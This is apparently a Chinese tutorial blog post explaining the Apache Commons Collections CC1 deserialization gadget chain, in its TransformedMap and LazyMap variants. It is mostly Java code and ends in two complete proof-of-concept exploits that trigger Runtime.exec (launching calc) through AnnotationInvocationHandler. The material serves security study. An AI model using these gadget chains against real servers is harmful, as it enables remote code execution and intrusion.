赞
踩
Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。
创建一个mvn项目并且导入Commons Collections,
- <dependencies>
- <dependency>
- <groupId>commons-collections</groupId>
- <artifactId>commons-collections</artifactId>
- <version>3.2.1</version>
- </dependency>
- </dependencies>
为了方便调试,需要下载对应的JDK源码:
https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
下载完之后,需要把jdk/src/share/classes/中的sun文件夹粘贴到\Java\jdk1.8.0_65,参照下面图片(借用大佬图片):
之后打开idea里面的项目结构选项,按照下面图片进行导入SUN源码:
CC1链这次学习分为两条链子TransformerMap链和Lazymap链下面进行简单学习
在此之前需要了解实现Transformer(接收一个对象,然后对Object作一些操作并输出)接口的方法:
ChainedTransformer官方注释:
ChainedTransformer 是 Apache Commons Collections 库中的一个类,它是一个转换器(Transformer)的链表,将多个转换器链接在一起以进行多次转换操作。每次转换的输出结果将作为下一次转换的输入。
InvokerTransformer官方解释:
InvokerTransformer 是 Apache Commons Collections 库中的一个类,它可以通过反射机制调用指定对象的指定方法,并返回方法执行结果。它是一个转换器(Transformer)实现,用于将输入对象转换为调用指定方法后的返回值。InvokerTransformer充当一个后门来使用,后面会说明。
ConstantTransformer官方解释
ConstantTransformer 是 Apache Commons Collections 库中的一个类,它是一个转换器(Transformer)实现,用于将输入对象转换为一个固定的常量值。
TransformedMap官方解释:
TransformedMap 是 Apache Commons Collections 框架中的一个类,它实现了一个 Map 接口,可以对其所包含的键值对进行转换操作。可以在原有的 Map 对象的基础上,提供一种能够对键或值进行自定义转换的方式。具体来说,TransformedMap 实例将会对 get、put 和 containsKey 方法进行重载,从而在访问 Map 中的键值对时,通过指定的转换器来对键或值进行转换操作。
首先,通过简单的方法来调用计算器:
Runtime.getRuntime().exec("calc");
之后使用反射来调用计算器
- package FlynAAAA;
-
- import org.apache.commons.collections.map.TransformedMap;
-
- import java.io.File;
- import java.io.IOException;
- import java.lang.reflect.InvocationTargetException;
- import java.lang.reflect.Method;
-
- public class CC1_TransformerMap {
- public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
- Runtime c=Runtime.getRuntime(); //创建一个 Runtime 对象,并将其赋值给变量 c。
- Class r=Runtime.class;//获取 Runtime 类的 Class 对象,并将其赋值给变量 r。
- Method exec=c.getClass().getMethod("exec",String.class);//使用反射机制获取 Runtime 类的 exec 方法,exec 方法时需要传入一个命令字符串作为参数,该字符串指定要执行的命令。
- exec.invoke(c,"calc");//里传入的是 "calc",即启动 Windows 计算器程
-
- }
- }
为什么说InvokerTransformer相当于一个后门程序,下面是他的构造方法,第一个参数:是需要调用的方法,第二个参数是以数组的形式接收,该方法的有参构造函数的类型,第三个,构造函数的参数值
下面是InvokerTransformer中的Transformer方法iMethodName、iParamTypes以及input都可控,而且使用的是反射的方法,调用指定对象的指定方法,并返回方法执行结果。
那么就可以使用InvokerTransformer来调用计算器:
- package FlynAAAA;
-
- import com.sun.org.apache.bcel.internal.generic.NEW;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
-
- import java.io.File;
- import java.io.IOException;
- import java.lang.reflect.InvocationTargetException;
- import java.lang.reflect.Method;
-
- public class CC1_TransformerMap {
- public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
- Runtime r=Runtime.getRuntime();
- new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
-
- }
- }
了解之后进行一个练习,使用反射嵌套InvokerTransformer来调用计算器:
- package FlynAAAA;
-
- import com.sun.org.apache.bcel.internal.generic.NEW;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
-
- import java.io.File;
- import java.io.IOException;
- import java.lang.reflect.InvocationTargetException;
- import java.lang.reflect.Method;
-
- public class CC1_TransformerMap {
- public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
- //题目:
- // Class c=Runtime.class;
- //Method getRunTimeMethod= c.getMethod("getRuntime",null);
- //Runtime r= (Runtime)getRunTimeMethod.invoke(null,null);
- //Method execMethod= c.getMethod("exec", String.class);
- //execMethod.invoke(r,"calc");
-
- //解答:
- Method m1=(Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
- Runtime m2=(Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m1);
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(m2);
- }
- }
之后查找谁调用了tranform的方法:
可以看出在TransformerMap和Lazymap都有使用Transforme方法
先看TransformerMap#checkSetValue,这是protected方法,需要使用反射进行调用,跟踪变量valueTransformer
从TransformerMap的初始化类中看出,接收一个map数组也就是需要处理的数组,
TransformerMa类是通过decorate方法对map进行修饰。
紧接着使用cheackSetValue()进行计算器调用:
- package FlynAAAA;
-
- import com.sun.org.apache.bcel.internal.generic.NEW;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
-
- import java.io.File;
- import java.io.IOException;
- import java.lang.reflect.InvocationTargetException;
- import java.lang.reflect.Method;
- import java.util.HashMap;
- import java.util.Map;
-
- public class CC1_TransformerMap {
- public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
- Runtime r = Runtime.getRuntime();
- InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
- HashMap<Object, Object> map = new HashMap<>();
- map.put("value", "bbbbb");
- Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,invokerTransformer);
-
- //通过反射的方法调用checkSetValue
- Method cheack=TransformedMap.class.getDeclaredMethod("checkSetValue", Object.class);
- cheack.setAccessible(true);
- cheack.invoke(transformedMap,r);
- }
- }
接下来查看是谁调用了cheackSetValue()方法,在AbstractMapEntryDecorator这个抽象对象中的静态类MapEntry继承了AbstractMapEntryDecorator抽象类
而AbstractMapEntryDecorator又实现了Map.Entry接口,可以看出MapEntry中的setValue方法其实就是Entry中的setValue方法,一个entry就是一对键值,可以通过遍历entry执行setValue()方法。来进行调用计算器
接下来使用SetValue来调用计算器
- package FlynAAAA;
-
- import com.sun.org.apache.bcel.internal.generic.NEW;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
-
- import java.io.File;
- import java.io.IOException;
- import java.lang.reflect.InvocationTargetException;
- import java.lang.reflect.Method;
- import java.util.HashMap;
- import java.util.Map;
-
- public class CC1_TransformerMap {
- public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
- Runtime r = Runtime.getRuntime();
- InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
- HashMap<Object, Object> map = new HashMap<>();
- map.put("aaaa", "bbbbb");
- Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,invokerTransformer);
-
- for (Map.Entry entry:transformedMap.entrySet()){
- entry.setValue(r);
-
- }
- }
- }
那么此时如果有某个readObject()中使用Map.Entry去迭代集合,且中间使用可控变量调用了setValue(),就可以以这个为入口点,进行反序列化。
搜索setValue,在AnnotationInvocationHandler#readObject()中有使用。
AnnotationInvocationHandler有一个构造函数,它接受两个参数:注解接口的Class对象和一个Map对象,该Map对象包含注解属性的值。当在注解接口上调用方法时,AnnotationInvocationHandler会在Map中查找相应属性的值,并将其作为方法调用的结果返回。
- PPs:
- Object o = AnnotationInvocationHandler.newInstance(Target.class, transformedMap);
但是有几个问题:
1、Runtime没有实现Serialize接口,无法被序列化:
解决办法:
用InvokerTransformer去实现:
- Method m1=(Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
- Runtime m2=(Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m1);
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(m2);
2、触发setValue()之前的两个if条件
解决方法:
第一个if:map的键在注解中必须存在,意思是就是上面举例Target.class,map的键的键值必须在Target.class中
第二个if:map的键不能强制转换为value
setValue()中的值是一AnnotationTypeMismatchExceptionProxy对象而不是Transformer.
解决方法:
我们可以利用上面ConstantTransformer 和ChainedTransformer结合起来封装成Transformer。
- Transformer[] Transformer=new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
- new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
-
- };
- ChainedTransformer C=new ChainedTransformer(Transformer);
ConstantTransformer类是用于将输入对象转换为一个固定的常量值。上面将他转换成Runtime.class
用ChainedTransformer把需要反射的链起来
最终poc
- package FlynAAAA;
-
- import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.TransformedMap;
-
- import java.io.*;
- import java.lang.annotation.Target;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.InvocationTargetException;
- import java.lang.reflect.Method;
- import java.util.HashMap;
- import java.util.Map;
-
-
- public class Test {
- public static void main (String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
- //直接调用clac
- //Runtime.getRuntime().exec("calc");
-
- //通过反射调用
- // Runtime r=Runtime.getRuntime();
- //Class c=Runtime.class;
- //Method exec=c.getMethod("exec", String.class);
- //exec.invoke(r,"calc");
- //通过InvokerTransformer调用
- //Runtime r=Runtime.getRuntime();
- // new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
-
- //通过CC里面的Transformemap里面的checkSetValue进行调用
- //Runtime r = Runtime.getRuntime();
- // InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
-
- Transformer[] Transformer=new Transformer[]{
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
- new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
-
- };
- ChainedTransformer C=new ChainedTransformer(Transformer);
- HashMap<Object, Object> map = new HashMap<>();
- map.put("value", "bbbbb");
- Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,C);
-
- //for (Map.Entry entry:transformedMap.entrySet()){
- //entry.setValue(r);
- // }
- Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor AnnotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
- AnnotationInvocationHandler.setAccessible(true);
- Object o = AnnotationInvocationHandler.newInstance(Target.class, transformedMap);
- unseri(seri(o));
- }
-
- public static byte[] seri (Object obj) throws IOException {
- ByteArrayOutputStream btout = new ByteArrayOutputStream();
- ObjectOutputStream OOS1 = new ObjectOutputStream(btout);
-
- OOS1.writeObject(obj);
- System.out.println(btout.toByteArray());
- return btout.toByteArray();
- }
-
- public static Object unseri (byte[] Filename) throws IOException, ClassNotFoundException {
- ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Filename));
- Object obj = ois.readObject();
- return obj;
- }
- }
从可以看出在TransformerMap和Lazymap都有使用Transforme方法,接下来看Lazymap
lazymap的实现方式是,在Map中添加一个Transformer对象作为值的默认值,当获取某个键的值时,如果该键不存在,就会使用Transformer对象来生成一个默认值,并将其作为该键的值。Transformer对象的实现方式可以是任何实现了Transformer接口的类下面是Lazymap的初始方法。
可以看见如果在get找不到键值的时候,它会调用factory.transform 方法去获取一个值:
而Lazy和transforMap一样,都是使用decorate()方法接收一个map和Transformer
AnnotationInvocationHandler的readObject()没有直接调用get(),所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get()方法
接下来有必要学习一下Java的动态代理:
Java 动态代理(Dynamic Proxy)是一种实现 AOP(Aspect Oriented Programming,面向切面编程)的方式,可以在运行时动态地创建代理类和对象。它可以使代码更加灵活、可扩展和可维护。
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
其中,loader 参数指定代理类的类加载器;interfaces 参数指定代理类要实现的接口列表;h 参数是一个实现了 InvocationHandler 接口的对象,用于处理代理类中方法的调用。
newProxyInstance() 方法返回的是一个代理类的实例,该实例实现了指定的接口列表,并将方法调用转发给指定的 InvocationHandler 对象处理。在代理类中,通过 InvocationHandler 对象的 invoke() 方法来处理方法调用。
例如(抄袭大佬的代码)
- package LazyMap;
-
- import java.lang.reflect.Proxy;
- import java.util.HashMap;
- import java.util.Map;
-
- public class App
- {
- public static void main(String[] args) {
- /*
- 自动生成代理类
- 第一个参数: Classloader, 及代理角色
- 第二个参数: Interface, 也就是抽象角色, 即我们要代理那个接口, 这里是Map
- 第三个参数: InvocationHandler, 是一个实现了InvocationHandler接口的被代理类,里面包含了具体代理的逻辑
- */
- Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class}, new ExampleInvocationHandler(new HashMap()));
- // 这里虽然调用的是 Map.put() 但由代理类触发, 就会优先调用 被代理类的invoke() 然后再反射调用 put()
- proxyMap.put("Hello","World");
- // 因为优先调用被代理类的invoke, 且我们的方法又刚好是 get()
- // 所以被 hook住, 返回的值也会变为 Hoooooook
- String res = (String) proxyMap.get("Hello");
- System.out.println(res);
- }
- }
- package LazyMap;
-
- import java.lang.reflect.InvocationHandler;
- import java.lang.reflect.Method;
- import java.util.Map;
- public class ExampleInvocationHandler implements InvocationHandler
- {
- protected Map map;
-
- // 构造方法
- public ExampleInvocationHandler(Map map) {
- this.map = map;
- }
-
-
- // 重写invoke
- // 当这个类被代理后, 代理对象调用任意方法都会优先进入 被代理类的i nvoke方法
- @Override
- public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
- if (method.getName().equals("get"))
- {
- System.out.println("方法 get() 已被劫持 !");
- return "Hoooooook";
- }
- return method.invoke(this.map,args);
- }
- }
然后大致这样改POC
将TransformedMap更改类LazyMap
Map<Object,Object> decorate = LazyMap.decorate(map, chainedTransformer);
AnnotationInvocationHandler这个类实现了InvocationHandler接口,只需要在实例化它的时候,将它使用Proxy.newProxyInstance()代理,即可当代理类调用任意方法的时候,都会优先跑到AnnotationInvocationHandler这个类下的invoke()方法中
- Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor<?> clazzDeclaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
- clazzDeclaredConstructor.setAccessible(true);
- InvocationHandler handler = (InvocationHandler) clazzDeclaredConstructor.newInstance(Resource.class, decorate);
- Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
- Object o = clazzDeclaredConstructor.newInstance(Target.class, proxyMap);
此时是一个Proxy类,而我们的触发点在AnnotationInvocationHandler#readObject(),所以在把这个类放到构造方法第三个参数
Object o = clazzDeclaredConstructor.newInstance(Target.class, proxyMap);
完整POC:
- package LazyMap;
-
-
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.map.LazyMap;
- import javax.annotation.Resource;
- import java.io.FileInputStream;
- import java.io.FileOutputStream;
- import java.io.ObjectInputStream;
- import java.io.ObjectOutputStream;
- import java.lang.annotation.Target;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.InvocationHandler;
- import java.lang.reflect.Proxy;
- import java.util.HashMap;
- import java.util.Map;
-
- public class LazyMapDemo {
- public static void main(String[] args) throws Exception{
- Transformer[] transformers = new Transformer[]
- {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
- new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
- };
-
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- HashMap<Object, Object> map = new HashMap<>();
- map.put("value",1);
- Map<Object,Object> decorate = LazyMap.decorate(map, chainedTransformer);
- Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
- Constructor<?> clazzDeclaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
- clazzDeclaredConstructor.setAccessible(true);
- InvocationHandler handler = (InvocationHandler) clazzDeclaredConstructor.newInstance(Resource.class, decorate);
- Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
- Object o = clazzDeclaredConstructor.newInstance(Target.class, proxyMap);
- //new clazzDeclaredConstructor.newInstance(Target.class, proxyMap);
- serialize(o);
- unserialize("poc.ser");
- // proxyMap.size();
-
- }
-
-
- public static void serialize(Object obj) throws Exception
- {
- ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("poc.ser"));
- oos.writeObject(obj);
- }
- public static Object unserialize(String filename) throws Exception
- {
- ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
- return ois.readObject();
- }
- }
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。